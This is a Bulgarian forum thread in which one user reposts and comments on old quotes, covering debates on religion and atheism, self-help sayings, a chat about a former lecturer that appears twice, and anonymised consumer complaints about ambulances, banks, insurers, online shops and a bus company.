Бинарно мислене - това е черно-бялото мислене, вид едностранчивост; едностранчиво мислене. Колкото до важността на количеството - независимо дали е за пораждане на смисъл или за всичко останало, то си е важно. Количество и качество. Диалектиката им. Количествените натрупвания водят до качествени изменения (когато се достигне и премине мярата). Колкото до конгрегацията и съпричастието - няма да изказвам мнение. Само, може би това, че съпричастието е добро нещо, все по-малко хора май го имат... Ако някой не знае думата или я е позабравил, заради наложилата се синонимна такава - а именно "емпатия" - да си я припомним.
"Затова една религия е по-успешна от друга само в конкретен исторически период. Това някои професионални религиозни водачи не го разбират..."
То зависи и от мястото. Например дали става дума за Австралия, за Близкия Изток или за Южна Америка.
"един претендиращ за познания в областта човек никога не би цитирал въпросното писмо без необходимите уговорки...."
Уговорките са си важно нещо. Наистина.
"защото физическите и нравствени колизии се схващат като вариант на Божията Благодат, чрез която Всевишния ни изпитва."
Има го това нещо - с него религиозните оправдават всичко - ако ти се случи нещо добро - "Благодари се на Бога!", ако е нещо лошо - "Пак трябва да си благодарен, видиш ли, защото той е Благ и ти праща изпитание!"... Ужасна мозъчна промивка - вярване в нещо напълно недоказано и противоречиво още в самото си определение - "Бог"... Голяма измислица!
"Къде видя тук страховит проблем, разкъсващ душите на кротката христовярващата популация?Крещиш, че го откриваш, ама той никога не е бил в стаята...
Огледай се и се поправи;-)"
Не знам в кой точно контекст, но добре казано.
"2.Ако разгледаме нещата от атеистичен ъгъл - пак не се забелязва нещо особено.При дефинирано отсъствие на Бога - нещата опират до обикновено статистическо разпределение ....Пълна скука....,
уви - научното чудо също е в отпуска......."
По-добре научна скука, отколкото измислени и недостоверни приказки.
"Докато при тебе ,друже, забелязвам нещо нехарактерно: на мястото на остроумието и полифонията се е настанило някакво едноизмерно триумфалничене - определеих го с името на прочутата интелектуалка, макар че и двамата прекрасно знаем какъв е източника на цитираната премъдрост...
Е, не ми се сърди, че съм установил очевидното - стилът на симпатягата е твърде близо до този на въпросната дама.В това също няма драма, да ни е живо и здраво момчето, че да ни весели с прочитите си на Библията а ла "Указание за включване и употреба на печка домашна електрическа тип Е -1, марка Сингер"...."
Неповторим! 8) Абе, май започнах да си припомням... не беше ли с ник "Колчо" този ненадминат интелект с интелигентно чувство за хумор?
"Само ти напомням, че тя, противно на твърдението ти, съдържа някаква форма на разумен отговор.Повърхностен, елементаризиран/ форум е тук, все пак;-)/, ама разумен.Разбирам , че не ти е приятно, тезата ти изключва предварително появата на такива неща....
Надявам се поне да оцениш факта, че не съм си направил труда да ти отвърна истински обстойно!Защото при един детайлен подход , подобен отговор няма вече да е отговор, а истински нокаут за темата-плоскодънка, дето си предложил...."
Плоскодънка! Идва от "плоско дъно", т. е. тема с плоско дъно, плоска тема. ;D А, иначе, си има и лодки, ,които така им казват - "плоскодънки".
"Ми - абсолютно си прав, въпреки специфичната любезност на изказа!
Една Вяра е по дефиниция КОНСЕРВАТИВНА, понеже е основана върху идеята за Вечното, а то, от своя страна, е вечно, понеже е НЕИЗМЕННО, за разлика от подвижността на Знанието.На тази основа Вярата преодолява Разума, като търси отговори и аргументи отвъд неговата ограниченост /Разумът по дефиниция е ограничен, нали?/.Това ти се види като "шикалкавене".Да - при вярващите пътят за изповядване на религията включва и" шикалкавенето".Ако това нещо не е насочено користно към други хора, а е израз на някаква недостатъчност да се вербализира Същностното - не бих ги корил, камо ли - подигравал за поведението им...."
Тук трябва да се намеся отново - "идеята за Вечното" може да си я има, но това не значи, че има нещо доказно вечно, да не говорим за Вечно (т. е. персонализирано, Божествено вечно). Вечното, ако го има, може и да си е изменно, може да си е неизменно, но то при въпросните религии се води "неизменно". И пак остава на ниво "идея", без никакви доказателства. Нещо като Спагетеното чудовище - идея си има за него, но не е нищо повече от това.
Знанието е подвижно, което е и добре, защото това значи, че може да се адаптира към новите факти, информации и пр. Вярата не преодолява разума въобще, даже често е признак на не много разумност (умност) - доверяването, доверчивостта, лесната вяра - това е детинско, дебилно, фанатично и пр., т. е. кой вярва без доказателства? Ами децата и то не всички, дебилите (в зависимост от степента на дебилност) и фанатиците (защото за тях "Няма как да не е вярно!")
За същностното (особено - пак персонифицирано - Същностното) си трябват доказателства, а не само едно поставяне (предпоставяне) и "Вярвайте да вярваме, братя и сестри, защото то така пише в..." Не бива така, ако искаме наистина да сме колкото се може по-близки и коректни до/спрямо истината.
-
Също от много, много, много, многооо годинки:
" Продуктивност, Популярност и Притежания.
Главният интерес към производителността - към това, което правиш, а не към това, което си - може да породи невероятно напрежение, както в отделните индивиди, така и в компаниите, изчерпвайки техните ресурси.
Ето защо светът, който сте създали днес, е съвременна версия на създадения от вашите предшественици в миналото. Ако вървите по този път ще търсите количество, а не качество като критерий във вашия живот - и този избор ще придава смисъл на живота ви.
Ако смяташ Популярността за дефиниция на успеха, ще прекараш целия си живот, търсейки одобрението на другите. Няма да е от значение за теб това, че можеш да изгубиш собственото си Аз и собствената си индивидуалност в този процес. От теб ще остане само "популярността" и тази ограничена час от теб ще е постигнала това, което си решил да наричаш "успех". (Някои от политиците попадат в тази категория, както и представителите на масовата култура, които са се отказали от реалните си мисли и истинските си творчески способности, за да създават произведения, които да задържат вниманието на публиката.)
Какво ще кажеш да определиш "успеха" като това да правиш, каквото обичаш?
Първото, което можете да сторите, е да постигнете едно ново самоопределение като индивиди. Второто е да се самоопределите по нов начин като общество. И третото е да определите по нов начин какво означава "успех". Така ще преосмислите живота си.
можете да постъпвате според своя избор, за да преживеете онова, което сте предпочели. Това е същността на свободния избор. В зависимост от това, което избирате да бъдете, да вършите и да имате, вие решавате Коя е вашата Същност. Това правите във всеки един момент."
Преди ми се стори мноооогооо мъдро. :P Сега... не чак дотам.
-
Коригирах едни кавички.
Абе, вид екзистенциално философстване... хубаво, но, на практика, няма как, като си зависим от толкова много неща, особено от пари, в общо взето, този основно капиталистически и/или неофеодален свят, просто да се оправиш в живота бидейки (бивайки) себе си.
Наподобява ми на едно там, което беше в смисъл такъв - Баща му казал, че да правиш каквото обичаш, няма да те нахрани. И това е много резонно, защото повечето хобита (нещата, които правим просто от обич - например да четем за чувашите или да ходим на фитнес, да събираме марки и т. н.) не са добре платени или въобще не са платени (а за някои дори ти си плащаш)! Обаче "мъдрият" отговор бил "Добре, приканвам те да бъдеш един от онези смели хора, които са избрали да печелят живота си, а не прехраната си." :o Абе, "премъдри", нали като нямаш прехрана и животът до месец-два ти е съсипан и дори мреш от глад, бре?! Супер безотговорен съвет. Ами то лесно е да кажеш - стани отшелник, бъди себе си! И какво става като нямаш достатъчно храна или дойде някоя зима и при минусови температури си и гладен?
Не вярвайте на такива "мъдрости".
-
;) Ето и още едно: "Точно така, помисли за момент. Властта, която родителите ти имат над теб, е тъкмо онази власт, която им даваш ти. Ако ти не искаш да им дадеш власт над себе си, те така и няма да я имат. Ако не искаш да правиш онова, което те ти нареждат, те биха били безсилни да се справят с такава ситуация.
Причината, поради която тийнейджърите предават силата си на своите родители, е, че родителите притежават нещо, което тийнейджърите желаят. Това би могло да бъде всичко - като се започне от любов и се стигне до място, където да живеят, храна, облекло, пари, с които да си купят онова, което искат, кола, която да карат и т. н.
Когато престанеш да желаеш онова, което имат родителите ти или вече не се нуждаеш от него, твоите родители губят напълно контрол над теб. Междувременно ти просто се възползваш от поведението си (в случая, подчинявайки се на своите родители) като средство да получиш онова, което искаш. Това е един от начините да се упражнява власт."
-
Ъхъм. И отиваш да живееш в някой подлез, гара или под моста... в гората? Плоско.
-
Всъщност има логика, не е толкова "плоско" - то е казано - когато престанеш да желаеш онова, което имат родителите ти или вече не се нуждаеш от него... А може и да е комбиниран случай - хем да престанеш да желаеш, хем и да не се нуждаеш от нещото (нещата). Но, като цяло, си е банализъм.
-
От или около 2007 година да е било. Откъслечно запазена реплика (по-скоро - дуплика, но не съм много сигурен):
"... ти откъде разбра, че идеологизацията в началното образование е нещо лошо? Кое му е лошото, че не им пълнят главите с "Евроценности" и "Цивилизационен избор към НАТО" като в България ли или, май това, че ги учат да са свободни, да не им се разкарват чужди войници по територията и да не се дават на САЩ, да не правят партии на етническа основа, да не пускат новини на турски?
Като те гледам тебе, ти си не само промит мозък, ами премит и пребит отвсекъде!"
Това е било от периода, в който още Русия и Китай не се бяха неоимператоризирали (неофеодализирали), та на техния фон дори НАТО да започне да изглежда привлекателно за неутрални страни като Швеция и Финландия, както и за поначало анти-НАТОвски ориентирани социалисти/комунисти като мен.
В днешно време, ако трябва да избирам между еднолично (царистко; императорско) управление, което си прави с тебе каквото си пожелае (праща те на война, прави те затворник в собствения ти дом, прави те истински затворник за неполиткоректно мнение и пр.) и европейските ценности (барабар с НАТОто), определено избирам евроценностите и НАТО, колкото и да съм социалист и пацифист. (Говорим за избор между две крайности - просто ЕС и НАТО са по-близко до истинската свобода, хуманизъм, република и пр. идеи, противоположни на неофеодализма и неоимператорството.
За новините на турски - нека си има новини на езика на всяко малцинство, да си имат собствени канали и да си ги гледат. Така е най-справедливо за малцинствата - независимо дали са турски, арменски, татарски или айнуски, уйгурски и салвадорски - както и за мнозинството, на част от което, може да му е неприятно да слуша/гледа новини на несобствен език.
За чуждите войски - много зависи кои са, защото ако ги няма, идват други чужди, които са още по-лоши и от чуждите. Примерно - на някой може да са му неприятни западни войски, ама ако ги няма и му дойдат рашистки, тогава не е ли било по-добре да разчиташ на западните (като по-малко неприятни; спазващи повече човешките права, като цяло)?)
За свободата - висша ценност, няма спор, но като един човек ти стане неоимператор (назоваван също диктатор, сатрап и пр., но смисълът е "едновластник") за каква свобода изобщо говорим? Че то даже в полуколонии и колонии имат повече персонална свобода хората!
-
И, за да съм напълно коректен - освен политическите пояснения, с оглед на много променените държави напоследък, давам и малко правописна поправка: пише се правилно "отвсякъде". :)
-
За един бивш наш преподавател ("наш" казвам за тези, които са му били студенти и студентки). От чат на няколко бирички, когато си казваме по-откровените мнения. ;) Няма да му напиша името защото не го мразим и не искаме да му навличаме неприятности с някои истини. Нямаме му голяма омраза, че да го хейтим с името му на показ, но и не може да се каже, че го харесваме много. С това хич не ви казвам, че няма и някои, които го харесват (безспорно като факт). Споделям:
"Един друг от нашите (сигурно най-дразнещият - убеждаваще като поп, че светът няма как да се "самосъздаде" и всичко е "творение" + ходеше с млади студентки нон-стоп + поддържаше агностични позиции - че нещата не са много познаваеми... Абе, ужас тоя - с изключение на него, останалите ни преподаватели си ги харесвах!)... ТА ТОЯ ТОЧНО ПРЕДСТАВИ СИ ХОДИЛ ИЗ ЦЯЛА АЗИЯ!!! (Сега научавам):
...
...
- Ей-такива простотии пише, ако те заинтригува, ще ти го дам... Става за хумористично четиво...
А там, където го обкръжили мюсюлманите и той взел да дискутира с тях Осама бин Ладен си е живо свидетелство колкото е тъп! Пак късметлия, че не са му теглили някой бой (най-малкото)!
...
- Ето това се случва, когато някой минал за малко и си мисли, че разбира от Изтока... Простотия на куб! Ама публикувал, взел хонорар...
- После се чудим как тоя ми писа "Добър 4", защото съм учил по нормален СЪВЕТСКИ учебник, където НЕ говорят такива ПРОСТОТИИ...
...
-- Личи му, че си обича жените, няма лабаво...
Заключение: голям $@#^%! Бил 2 дена в Китай и вече генерализира как всички китайци били шумни и всички се пререждали на опашките... Много мразя такива типове.
- Аз сега му чета разказ за студентски град, познай!
- НЕ пропуска! "
-
За един бивш наш преподавател ("наш" казвам за тези, които са му били студенти и студентки). От чат на няколко бирички, когато си казваме по-откровените мнения. ;) Няма да му напиша името защото не го мразим и не искаме да му навличаме неприятности с някои истини. Нямаме му голяма омраза, че да го хейтим с името му на показ, но и не може да се каже, че го харесваме много. С това хич не ви казвам, че няма и някои, които го харесват (безспорно като факт). Споделям:
"Един друг от нашите (сигурно най-дразнещият - убеждаваще като поп, че светът няма как да се "самосъздаде" и всичко е "творение" + ходеше с млади студентки нон-стоп + поддържаше агностични позиции - че нещата не са много познаваеми... Абе, ужас тоя - с изключение на него, останалите ни преподаватели си ги харесвах!)... ТА ТОЯ ТОЧНО ПРЕДСТАВИ СИ ХОДИЛ ИЗ ЦЯЛА АЗИЯ!!! (Сега научавам):
...
...
- Ей-такива простотии пише, ако те заинтригува, ще ти го дам... Става за хумористично четиво...
А там, където го обкръжили мюсюлманите и той взел да дискутира с тях Осама бин Ладен си е живо свидетелство колкото е тъп! Пак късметлия, че не са му теглили някой бой (най-малкото)!
...
- Ето това се случва, когато някой минал за малко и си мисли, че разбира от Изтока... Простотия на куб! Ама публикувал, взел хонорар...
- После се чудим как тоя ми писа "Добър 4", защото съм учил по нормален СЪВЕТСКИ учебник, където НЕ говорят такива ПРОСТОТИИ...
...
-- Личи му, че си обича жените, няма лабаво...
Заключение: голям $@#^%! Бил 2 дена в Китай и вече генерализира как всички китайци били шумни и всички се пререждали на опашките... Много мразя такива типове.
- Аз сега му чета разказ за студентски град, познай!
- НЕ пропуска! "
Понеже днес видях (и писах съболезнователно и с добри спомени и тъга), че е починала Любка Кумчева (http://www.seo-forum-seo-luntan.com/other-languages/eo-e-eo-o/msg50273/#msg50273), искам да кажа, че ако видя например, че този преподавател е починал, честно казано, ще ми стане много тъжно и за него. Дори и да имам критики, нехаресвания, несъгласия с него, чистосърдечно си казвам, че човекът има и доста позитивни, дори полезни и мъдри неща (в което се убедих, години след дипломирането, особено когато вече може да се прочете и онлайн какво пише, а не само да се позоваваме на някоя негова книга).
Конкретно: 1. Креационизъм, религиозни и религиозноподобни неща не са най-доброто за философията, особено когато тя има досега със съвременна наука, която е много по-развита от едновремешната такава. Разбира се, ако се направи креационистична хипотеза на по-научна основа (от сорта на "Ами, ако живеем в матрица?", т. е. да не говорим за недказан и противоречив в самото си определение "Бог", а за нещо като демиург (създател), от типа на "някой софтуеърен специалист си създава изкуствен интелект", като спрямо изкуствения интелект той е негов "създател", но не и "Бог"), то това е друга история; друг подход, който може и би трябвало да има място във философията, дори и когато е научно-диалектично-материалистична.
2. За ходенето с млади студентни и въобще с по-млади от теб жени. Ами на времето (без да си даваме сметка) бяхме, доста от нас, и колегите, и колежките, ейджисти. Смятахме, че младите само с млади, възрастните само с вързрастни... детинско напрво, ако не дискриминационно мислене! По-сетне, като се позапознах с ейджизма (дискриминация по възраст и само на база възраст), започнах да разсъждавам по друг начин, дори и да разбирам този човек:
2. 1. Какво като е по-стар от някоя колежка? Нали е в добро здраве, нали дори и спортува (няма да казвам какво, за да не се въвличат клюкарската персонални инфота, когато не е никак нужно), нали е учен, нали има добра професия... а и, в крайна сметка, ако пълнолетна колежка го харесва наистина (не е малолетна, не е принуждавана насила да ходи с него заради оценки), къде остава място за какъвто и да е проблем, ако не си примитивно-ейджистки настроен или настроена?! Повече за ейджизма, който на български, пуристично може да наричаме, както съм писал, и възрастизъм (http://www.seo-forum-seo-luntan.com/other-languages/ak-m-a-ko-aemk/msg44843/#msg44843).
2. 2. Много други (говоря за впечатления от света, а не само в България) преподаватели (и в средни училища, и в колежи, и в университети) харесват по-млади жени, някои които се случва да са им ученички или студентки (има и такива, които дори ходят с такива), но не си признават това открито. Е, чест му прави на този преподавател, че дори и с риск да го критикуват ейджисти, "пуритани"/"свръхморалисти", просто завистници (които не си дават сметка, че го критикуват, защото на тях самите не им връзват по-млади жени или въобще никакви жени не ги харесват) и злобари, си казва без свян какво харесва, с кого е ходил, с каква го е правил... Не може да си ценител на истината и откритостта и да съдиш човек, че си казва откровено всичко това!
3. За риска да говориш с мюсюлмани (особено радикализирани) за техните си идоли, лидери и пр., особено ако си на тяхна територия (не знаеш кой какво може да помисли, че не си учтив, че обиждаш, че си позволяваш много... десетки възможни недоразумения са възможни) е така. Вярно е, че трябва да бъдем откровени, истинни, автентични, но не и неразумно да рискуваме живота си така - хем няма смисъл (едва ли ще промениш мнението на някой радикал, независимо дали е ислямист, веган, нацист и т. н., а ако ти се случи най-лошото, лишаваш и себе си, и другите да създаваш още интересни, полезни понякога четива, когато си учен човек, все пак). Така че - хубаво е да се проявява разумност, да се има едно на ум, да не се подценяват никакви опасности.
4. Да, някои неща, особено за хора по-дълбоко навлезли в темите, са си смешни. Явно и при него може да има, за някои неща, Дънинг-Крюгеров ефект (това е преди да си научил достатъчно, да си мислиш че нещата са прости и ти е ясно всичко, или както пишат по-научно - това е когнитивната склонност, при която неквалифицираните индивиди страдат от илюзорно превъзходство, изразяващо се в надценяване на собствените познавателни способности; на собственото знаене по въпроса/въпросите.), което и (неволно вероятно) резултатира в обиждане на "всички китайци". Аз като изучаващ Китай от малък + живял около 20 години в Китай + общуващ с китайци от време на време и неспирно четящ за Китай и китайското, съм по-навътре с нещата и мога да потвърдя, че не са всички китайци, например, шумни или, например, изцяло във времето и модернизиращи се.
5. Не всичко в съветската литература беше вярно (заради прекалената идеологизация), но ценното беше, че нямаше излишен идеализъм, религиозност; нещата си бяха на база наука и диалектически материализъм (в болшинството от случаите). Разбира се, то си е и въпрос на личен избор дали ще говориш на изпит това, което ти казва и е писал твоят преподавател (за да си в унисон с неговите теории и да изкараш високата оценка) или ще си държиш на твоите по-научни (по-материалистични, диалектикоматериалистични) и да си заслужиш (субективно), по-ниско оценяване. (Проблемът с оценките, субективността винаги си го е имало... Добре, поне, че на повечето места не ти гледат успеха по специалността, а само самата специалност - дали си завършил/-а с 6 или с 4, с 3 или с 5... малко хора ще обърнат внимание. Тоест, поне добре, че не ти вреди много на живота и прогреса някоя по-ниска субективна оценка като обсъдената тук. :) )
6. Не съм дискриминиращ хомосексуални, бисексуални и пр., т. е. нямам открити фобии, не ходя на протести и анти-протести за такива хора, но като хетеросексуален човек намиран за добре, че и въпросният преподавател "си обича жените, няма лабаво". Да си нормален, здрав мъж и да си обичаш жените е нещо, най-малкото, природно, естествено и неосъдително откъдето и да се погледне. :)
-
Едно за проблемите с "Бърза помощ" от преди години.
Бърза помощ
"Баща ми получи тежък инсулт. Не може да върви сам , фъфли , едната му половина е парализирана. Снаха ми вика бърза помощ, като моли персонала на линейката да го вземат от третия етаж. От линейката отговарят:
"Ние да не сме хамали". И снаха ми носи буквално баща ми от 3-тия етаж до линейката (той тежи около 90 кг )"
(Йордан Георгиев)
Коментари:
Еми......
Сега разбирам, за това че това е сполетяло пишещия тук. Не искам да го обезсърчавам но когато моя баща (лека му пръст) получи инсулт в интерес на истината бърза помощ също не си мръднаха пръста да го свалят до линейката. Брат ми с неговия шофьор го свалиха до долу и го настаниха в нея. След това в спешно отделение два часа се чудиха дали да го настанят или не за лечение даже по едно време искаха да го изписват. Сякаш беше здрав и можеше да ходи. Естественно при подобни "грижи" човека си отиде след два дена. Между другото знам, че в 2005 година когато моя баща почина в някои страни от ЕС вече са разработвали системата за предотвратяване на инсулти. Тоест след като получи инсулта човек до два часа може да отиде в болницата и да му се влее разтвор, който разбива тромба. Говоря за страни от ЕС, който се лъже че България е в ЕС може да се пробва да пита нашите доктори за такава система. Ще го гледат като голям камък. В Германия обаче това функционира.
(кил ю)
idi zhivei tam togava
(гуру)
2/3 от работещите в здравеопазвенето въобще неим е мястото там. Наи добре да идат да си отворят сергия на Илиенци.
(Тони)
-
"Оплаквам се от банковите служители и тяхната некомпетентност"
От 2009 год.: "Поради това,че даден служител на Пощенска банка-С. не си е свършил работа преди три години във връзка с моята молба да погася потребителският си кредит предсрочно преди три дни аз се озовавам в позиция на човек,който е в просрочие.Бях много шокирана и объркана.Сега се нуждая от помощ."
Анонимно.
-
Реших да го "едитна", както се казва от някои повлияни от английския език или, на по-правилен български език, да го редактирам. Имам предвид населеното място. Всякакви такива оплаквания не се знае дали са истински или са били написани с лош умисъл (да навредят на някой), а и дори да са истински, не са доказуеми лесно (особено пък от хора, като нас, които са далече). Затова нека си ги има, за историята, но без конкретните имена.
-
Ами да, по-добре.
-
2009:
gotva4i na koito ne im se pla6ta
dobir den v pisariya m. koyto se namira v S. sobstvenika ne pla6ta na rabotnitsite koito gi sikratyava 6toto e nyamalo rabota .Li4no az sam rabotil pri nego 2 mecesa ot 6 april do 8 yuni i ne mi e platil za 15 dena 6toto napusnah rabota po prostata pri4ina 4e ne iska6e da me puska na svadbata na sestra mi.Vipreki 4e po4nah rabota pri nego na 6 april toy mi pusna trudoviya dogovor ot 1 yuni.Zaplatata mi be6e 1000 leva A toy mi napravi trudov dogovor za 320 leva za da ne pla6ta na Dirjavatani pove4e pari.Vzima mladi mom4eta na rabota koito gi kara da rabotyat 15-20 dena sled koeto pri pirvata im gre6ka gi goni kato ku4eta bez da im pla6ta.Pla6ta osigurovki za 8 4asa pik kara seliyat personal da rabbotyat 12 4asa 4e i ponyakoga daje i pove4e.Yavno 4e sobstvenika ima poznati i predi da doydat na proverka na nego mu kazvat po telefona.
(Анонимен)
-
"Оплаквам се от обслужващият персонал на повечето заведения в С. град."
Наскоро седнахме за по бира в С.град, в 'Б.' с познати към 5 часа следобяд. След като дойде сервитиора, едвам ни излуша какво си поръчахме (бира и безалкохолно), без да записва нищо само попита: "Поръчки от кухнята сте има ли?" и аз му казах не за сега, и тоя разправя: "Без поръчки от кухня не може да седите тук!"!!! Мега нагло изказване и много ни раздразни компанията, но понеже не ни се разправяме и не искахме да си разваляме настроението (е леко ни го развали той де )отидохме в друго заведение в Младост1.
За съжаление в повечето заведения в с.град е подобно нагло поведението на сервитиорите, които си мислят че задължението им е да си измислят правила и да си избират клиентите, вместо да се грижат за доброто им обслужване!!! За да не се случва това следващия път просто ще викна оправителя да си поговориме, а не некъв си арогантен тип да ми вдига кръвното!
ditch
-
Много такива имаше... Ах, ех, ох... Сигурно все по-пряко или не се е сблъсквал с такива.
От преди, да се помни! А то не, че през последните години е по-различни. Търсете по ключови думи "липсват животоспасяващи лекарства" в Гугъла и ще видите резултати и от 2023 година.
"отново липсват живитоспасяващи лекарства
не само инсулин а и доста от лекарствата за онкоболни! Всяка липса и забавяне на прием намаля шанса за живот!!!
това ли трябва да е съдбата ни?!"
:(
-
В (и още) по темата и за инсулина едно:
"ЛИПСА НА ИНСУЛИН NOVO MIX ОТ 30МАЙ2009
От доста време се опитвам да получа инсулин Novo Mix от една аптека в гр. Т. и всеки път в момента липсва, т.к. не закупувам и другите лекарства от там/защото са почти два пъти по-скъпи/.
На 30 май 2009г. за пореден път отивам за да взема изписания за баща ми инсулин и бях върната за понеделник и така до днес 04,06,2009г.
Днес отивам за пореден път в 12:30 часа и отново няма, аптекарката ми отговаря, че след обед очакват доставка на този инсулин и аз няма да мога да го взема защото предните пъти не съм го взимала от тяхната аптека/а предните пъти и месеци все го няма/."
И през 2023 е така. Търсете в Гугъла "липсва инсулин" и ще намерите съвсем скорошни резултати... :(
-
Аз ами понеже съм по икономиката и финансите, давам и такива от преди време. Без да са загубили многото от актуалността си и досега.
1. измама с кредитна карта (за коя банка става въпрос? Не знам.)
"източена ми е кредитната карта като два пъти е теглено от самата банка без да знам после от банкомат за взети и другите пари не ми дават иформация за състоянието на картата като поискам какво е това безобразие сега не искат да ми въстановят сумата дето са откраднали какво да правя"
2. ЗАСТРАХОВКИ В ...
"НЕ ЗАСТРАХОВАЙТЕ В ... . НЕ СА ЛОЯЛНИ С КЛИЕНТИТЕ СИ! БАВЯТ ИЗПЛАЩЕНЕТО НА ЩЕТИТЕ! ИЗМИСЛЯТ СИ КУП ПРИЧИНИ ЗА ТОВА. В ОФИСА НА ГРАД Г. О. ПРЕХВЪРЛЯТ ВИНАТА НА ЦЕНТРАЛНИЯ ОФИС В СОФИЯ. ОТ ТАМ СЪЩО НЯМАТ ПРАВДОПОДОБНИ АРГУМЕНТИ ЗА ЗАКЪСНЕНИЕТО ЗА ИЗПЛАЩАНЕТО НА ЩЕТИТЕ.
НЕ ЗАСТРАХОВАЙТЕ В ... !!!!!!!!!!"
Коментари:
"Аз ще добавя да не застраховата и във ...,
не ми изплатиха смачкана врата и калник."
"Никога не се застраховайте в ... . Ще ви мотаят, отказват и разиграват. Имах 3 нови автомобила застраховани там, но повече никога няма да повторя да се застраховам там. Ще популяризирам навсякъде около мен за нелоялността, с която съм се сблъскал. ИЗБЕРЕТЕ ДРУГО ЗАСТРАХОВАТЕЛНО ДРУЖЕСТВО!"
"Същото е положението и в С. Никога не съм имал такива проблеми и главоболия с друго застрахователно дружество. Дано им вземат лиценза на тези мошеници!"
"Не мога да повярвам , че съществуват такива застрахователни дружества! Не знам как все още не са ги подгонили от Агенцията за застрахователен надзор и НЕ СА им взели лиценза на тези нещастници(ТЕ СА ТОЧНО ТАКИВА)."
"Тези са пълни ИЗМАМНИЦИ. Лично мен ме излъгаха (гледайки ме в очите). Не ми платиха и прекратих договора си с тях по средата на срока. Жалко само, че преди това се надявах на нещо и отделих време да разговарям с невъзпитаните им служители, които ми вдигаха кръвното не един и два пъти. Една "служителка" дори си позволи да ми вика по телефона и да ми затвори (след като тя ми се обади на първо време).
Завеждането на щета отнема поне два часа, а през това време се чака прав в един коридор от "Зала ...", който коридор се явява нещо като техния "офис".."
-
Ето и още от оплакванията, свързани с моите интереси (пазаруването и онлайн търговията).
1. "В селските магазини не слагат цени на стоките"
"Здравейте!
Става въпрос за хранителния магазин в с.Г./общ.Н./,който се намира в горния край на селото в посока ... проход.Бих искал да Ви облекча като цитирам и име,фирма,ЕТ,но такива нямаше,липсваше каквато и да било обозначителна табела.Въпроса е следния:продавачката в магазина не беше оставила цени на нито една стока и когато аз я попитах защо,тя строснато ми рече,че "който си пазари,знае всяка стока колко струва".Искам да Ви кажа,че това е изпипана техника на всички магазинери от селцата около Сл.бряг.Никъде не поставят цени и когато им дойде клиент,преценяват материалното му състояние и тогава определят цена на продуктите.КОЕТО Е НЕЗАКОННО.Подобни магазини видях и в с.К. /общ.Н./ и с. К./общ.П./.Не знам към кого да се обърна,за да споделя това свое раздразнение от тези дребни търгаши.Иска ми се бъдат инспектирани и глобени за липсата на цени върху стоките и безочливостта на продавачите към клиентите си."
2. "ОПЛАКВАНЕ ... .com"
"Здравеите . Не си пазаруваите парфюми от саита "... .com" защото пращат фалшификати !"
"Оплакване от ... .bg"
"Предварително упоменатия срок за доставка на направена поръчка на сайта ... .bg е 5 работни дни. Поръчах на 29 май, Петък, като исках да изненадам приятели с подарък по случай конкретен повод – рожден ден. И преди бях поръчвала и си мислех, че всичко ще е ОК. За голямо мое разочарование, доставка не беше извършена. И никой не се обади да каже защо или че има проблем. В Понеделник (8 юни) се обадих да попитам какво се случва и да очаквам или не поръчаните продукти. Провериха и ми отговориха, че още на следващия ден (Вторник, 9 юни) ще направят доставка. Това не се случи. В Четвъртък (11 юни) сайтът ... .bg не работеше и явно имаха технически проблеми. Обадих се отново на номера, на който и преди бях разговаряла с някакво девойче, но този път им изпратих и имейл. Обещанието, че ще ми се обадят за да дадат някакво обяснение и вариант за доставка не беше спазено, но пък получих отговор по имейл, че в Петък (12 юни) ще си получа дългоочакваните тениски – с абсолютна сигурност. И в Петък никой не дойде.
Разбира се тази идиотщина* не можа да провали нашите планове и отпразнувахме с усмивки и смях рожденния ден, за който всъщност беше цялата галимация.
И така, минаха 17 неработни и 10 работни дни от моята заявка. Днес, Понеделник (15 юни) ми се обадиха куриерите, но ги отпратих, поради факта, че въпросната фирма, претендираща да извършва и предоставя услуги, не спазва поставените от самата нея правила.
*Пиша това дъъъълго пояснение, защото вярвам, че когато нещата се коментират, е по вероятно да има резултат, отколкото ако си мълчим.
НЕ на лошото търговско отношение в интернет!
И по конкретно – НЕ на ... .bg!"
-
Мхм. Имаше и такова едно, чакай да видя.
"ВНИМАНИЕ!!! Непочтено и подвеждащо отношение в ....bg"
"Днес (на 04 Февруари 2010 година) направих поръчка в този онлайн магазин (....bg) с опция за доставка за следващия работен ден, за което се съгласих да платя 3.20 лв допълнително.
Ето ги и самите обявени условия за доставка:
....bg/page/guarantees-time-delivery
След като 2 часа никой не благоволи да се свърже с мен за потвърждението й, аз първо се опитах да пиша на обявения на страницата им "чат".
Никой не ми отговори, вместо това излезе съобщение че чата им не работел и това става в продължение на цял час и никой не благоволи да го оправи най-сетне този прословут чат!
После се обадих на оператора и след запитване дали са приели поръчката ми и кога ще ми бъде доставена с изричната молба това да стане в УПОМЕНАТИЯ ОТ ТЯХ срок за следващия ден (тоест петък - 05 Февруари) ми беше отговорено, че това няма как да стане и ще ми се достави стоката чак в понеделник!?!
Обясних, че в понеделник няма да съм в София и следователно няма как да си я взема и настоях да си изпълнят ангажимента за доставка на следващия ден от поръчката, както е обявено от самите тях на сайта им, но уви операторката само констатира че тогава трябвало да ми отменят поръчката!
Абсолютна наглост и неуважение към клиента и се надявам да предупредя навреме евентуалните клиенти на този т.нар. "магазин" за качеството на облужването, което ги очаква!"
-
"Nikoga poveche nyama da patuvam s E.! Tazi firma naistina prekali - i predi sam zabelyazvala nyakoj nerednosti, no dnes v avtobusa Burgas-Ruse byaha pusnali desetina pravostoayshti, uzh zashtoto bilo stanalo dublirane na biletite. Koj bi povyarval na takava glupost! Po-yasno e ot byal den, che stava duma za naj-dolno pechelbarstvo. Plashtash si po 26-28 leva bilet i te vozyat kato dobitak. Az lichno patuvah 2 chasa na zemyata v pretapkan sredno golyam avtobus. Nyamam dumi - kak nikoj ne se oplakva, nikoj ne gi sankcionira sled kato po tozi nachin dnes te riskuvaha zhivota na patnicite si. Samnyavam se da se sluchva za parvi pat da kachvat poveche hora otkolkoto imat mesta v 20 i neshto mestniya si bus. Da ne govorim, che shofyorat prez pochti cyaloto vreme pusheshe, govoreshe si s edin patnik i ot vreme na vreme otgovorayashe na gsma si, est bez hands-free. Savetvam vi da izbyagvate tazi firma, pone po destinaciyata, po koyato az patuvah, za drugi nyamam nablyudeniya. Mozhe i da e ne tolkova nenormalno!"
"1+"
Лошо...
-
Много оплаквания... ::)
-
"Козметичен салон Ч. - Р. - НЕ СТЪПВАЙТЕ ТАМ"
Да, но и коментарите...
"Написано Иванова
